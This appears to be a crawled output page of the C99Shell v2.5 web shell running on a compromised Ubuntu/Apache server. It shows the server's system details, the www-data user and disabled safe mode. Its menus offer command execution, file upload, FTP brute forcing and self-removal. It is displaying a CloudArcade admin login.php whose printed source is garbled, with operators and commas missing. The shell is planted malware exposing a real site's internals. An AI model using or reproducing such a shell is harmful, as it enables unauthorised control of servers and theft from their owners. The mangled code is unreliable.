!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/gamesdaddy/cloudarcade/admin/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     login.php (3.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $msg 
'';
    if (isset(
$_POST['login'])) {
        
$timer            time() - 30;
        
$ip_address      getIpAddr();
        
// Getting total count of hits on the basis of IP
        
$conn = new PDO(DB_DSNDB_USERNAMEDB_PASSWORD);
        
$conn->setAttribute(PDO::ATTR_ERRMODEPDO::ERRMODE_EXCEPTION);
        
$sql "SELECT SQL_CALC_FOUND_ROWS * FROM loginlogs WHERE TryTime > :timer and IpAddress = :ip_address";
        
$st $conn->prepare($sql);
        
$st->bindValue(":timer"$timerPDO::PARAM_INT);
        
$st->bindValue(":ip_address"$ip_addressPDO::PARAM_STR);
        
$st->execute();
        
$sql "SELECT FOUND_ROWS() AS total_count";
        
$totalRows $conn->query($sql)->fetch();
        
$total_count     $totalRows[0];
        
$conn null;
        if (
$total_count == 10) {
            
$msg "To many failed login attempts. Please login after 30 sec.";
        } else {
            
$total_count++;
            
$rem_attm 10 $total_count;
            if (
$rem_attm == 0) {
                
$msg "<br>To many failed login attempts. Please login after 30 sec.";
            } else {
                
$msg "$rem_attm attempts remaining.";
            }
            
$try_time time();
            
$conn = new PDO(DB_DSNDB_USERNAMEDB_PASSWORD);
            
$conn->setAttribute(PDO::ATTR_ERRMODEPDO::ERRMODE_EXCEPTION);
            
$sql "INSERT INTO loginlogs(IpAddress,TryTime) VALUES(:ip_address, :try_time)";
            
$st $conn->prepare($sql);
            
$st->bindValue(":ip_address"$ip_addressPDO::PARAM_STR);
            
$st->bindValue(":try_time"$try_timePDO::PARAM_INT);
            
$st->execute();
            
$conn null;
        }
    }
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Login | <?php echo SITE_TITLE ?></title>
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <link rel="stylesheet" type="text/css" href="<?php echo DOMAIN ?>admin/style/bootstrap.min.css">
        <!-- Material Design Bootstrap -->
        <link href="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.19.1/css/mdb.min.css" rel="stylesheet">
        <link rel="stylesheet" type="text/css" href="<?php echo DOMAIN ?>admin/style/admin.css">
        <!-- Font Awesome icons (free version)-->
        <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" />
        <!-- MDB core JavaScript -->
        <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.19.1/js/mdb.min.js"></script>
    </head>
    <body class="login-body">
        <div class="login-container">
            <div class="login-form">
                <div class="container">
                    <div class="login-logo text-center">
                        <img src="../images/logo-vertical.png">
                    </div>
                    <form action="admin.php?action=login" method="POST">
                        <?php
                        
if(isset($results['error'])){
                            echo 
'<div class="alert alert-warning" role="alert">'$results['error'] . $msg.'</div>';
                        }
                        
?>
                        <input type="hidden" name="login" value="true" />
                        <div class="form-group">
                            <input type="text" id="username" name="username" placeholder="Username" class="form-control" value="" required>
                        </div>
                        <div class="form-group">
                            <input type="password" id="password" name="password" placeholder="Password" class="form-control" value="" type="password" required>
                        </div>
                        <button type="submit" class="btn btn-info btn-block"><?php _e('Login'?></button>
                    </form>
                </div>
            </div>
        </div>
    </body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0334 ]--